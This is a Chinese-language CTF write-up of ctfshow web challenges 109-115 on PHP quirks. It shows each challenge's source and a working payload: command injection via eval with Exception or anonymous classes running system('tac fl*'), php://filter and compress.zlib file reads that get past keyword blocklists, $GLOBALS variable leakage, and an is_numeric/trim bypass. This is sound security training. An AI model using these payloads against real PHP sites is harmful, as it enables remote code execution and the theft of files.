ctfshow web入门 php特性 109-115
109-110 需要了解 PHP原生类
112-114 使用伪协议
重点
1、了解PHP原生类(内置类)、匿名类
2、了解伪协议、过滤器
3、了解引用赋值
4、了解超全局变量
5、了解 is_numeric() 与 trim() 缺点
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
要求:v1、v2至少有一个字母
分析:
1、看见 new 就应该想到类,因此 v1 就是类名
类分为php内置类、用户自定义的类、匿名类,自定义的类在这里不能使用,只剩两种
知识点
1、内置类与匿名类
2、魔术方法
payload
#法一 内置类
v1=Exception&v2=system('tac fl*')
#法二 匿名类+魔术方法
v1=class{ public function __construct(){system('tac fl*');}};&v2=w
web110
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
禁掉了匿名类的payload
要求:不允许使用特殊字符与数字
v1只能是类,v2为函数或方法,且无参数
分析:
1、web109 中的 v2 先为 system(ls) ,后为system('tac fl*')
步骤为:1)查看目录 2)查看文件信息
但 ( 被禁用,不能使用 system(ls) 查看目录
2、考虑查看目录函数的替代:scandir()、golb()、dirname()、basename()、realpath()、getcwd()
其中 scandir()、golb() 、dirname()、basename()、realpath() 需要给定参数
而 getcwd() 不需要参数
很明显 v2=getcwd
3、v1 我们选择读取文件内置类 FilesystemIterator
payload
v1=FilesystemIterator&v2=getcwd
访问url:http://aab9e585-0825-45cb-bbfc-e126287407c0.challenge.ctf.show/fl36dga.txt
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
要求:v1,v2 不能包含特殊符号与数字,v1 必须包含 ctfshow
分析:
1、getFlag 中使用 var_dump() 输出 $$v1
$$v1 = &$$v2
$v2 为变量,我们知道,flag 通常存储在 $flag 变量中,因此,令 v2 = flag,则相当于 $$v1 = $flag
构造的 payload 为 v1=ctfshow&v2=flag
但输出为 NULL
原因:(变量范围)
$flag 在自定义函数 getFlag 函数中没有定义
$flag 是属于 flag.php 中的变量,对于 getFlag 是外部变量,因此我们需要将 $flag 改为全局变量
2、定义全局变量的格式为 global $flag
如果 v2=global $flag
首先 $ 被屏蔽
其次 $$v1 = &$$v2 ,既 $$v1 = &$global $flag
3、考虑使用超全局变量 $GLOBALS
知识点
1、引用赋值 &
2、变量范围
3、预定义变量中的超全局变量 $GLOBALS
payload
v1=ctfshow&v2=GLOBALS
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
要求:file 不能是文件,且不能使用 http、https、data 伪协议,不能使用 input 参数,不能使用 rot13、base64、string 过滤器
分析:
源码使用了 highlight_file() 函数,同时屏蔽了3个伪协议跟3个过滤器
很明显,这道题使用伪协议,php 可以使用
知识点:
1、php支持的协议与封装协议(伪协议)
2、可用过滤器
payload
file=php://filter/read=convert.quoted-printable-encode/resource=/var/www/html/flag.php
web113
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
在 web112 的基础上屏蔽 filter 参数,换个伪协议即可
知识点
1、zlib:// 伪协议
compress.zlib 与 gzopen() 相等 ,gzopen() 可以用来读取不是gzip格式的文件
compress.zlib2 与 bzopen() 相等
payload
file=compress.zlib://flag.php
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
禁用了压缩流,但把 filter 放出来了
payload
file=php://filter/resource=flag.php
web115
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
要求:不能有空格,不能使用八进制、十六进制、科学计数法,同时 num 为36,且不能为36,既同时满足 $num!=='36' 和 $num=='36',这个条件比较奇怪
知识点
1、is_numeric() 只允许数字或数字字符串(八进制、十六进制、科学计数法),且允许数字或数字字符串前有空格
2、trim() 去除普通空格、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节符(%00)、垂直制表符(%0b),但不去除换页符(%0c)
3、等于(==)、不等(!=)、全等(===)、不全等(!==)区别
payload
num=%0c36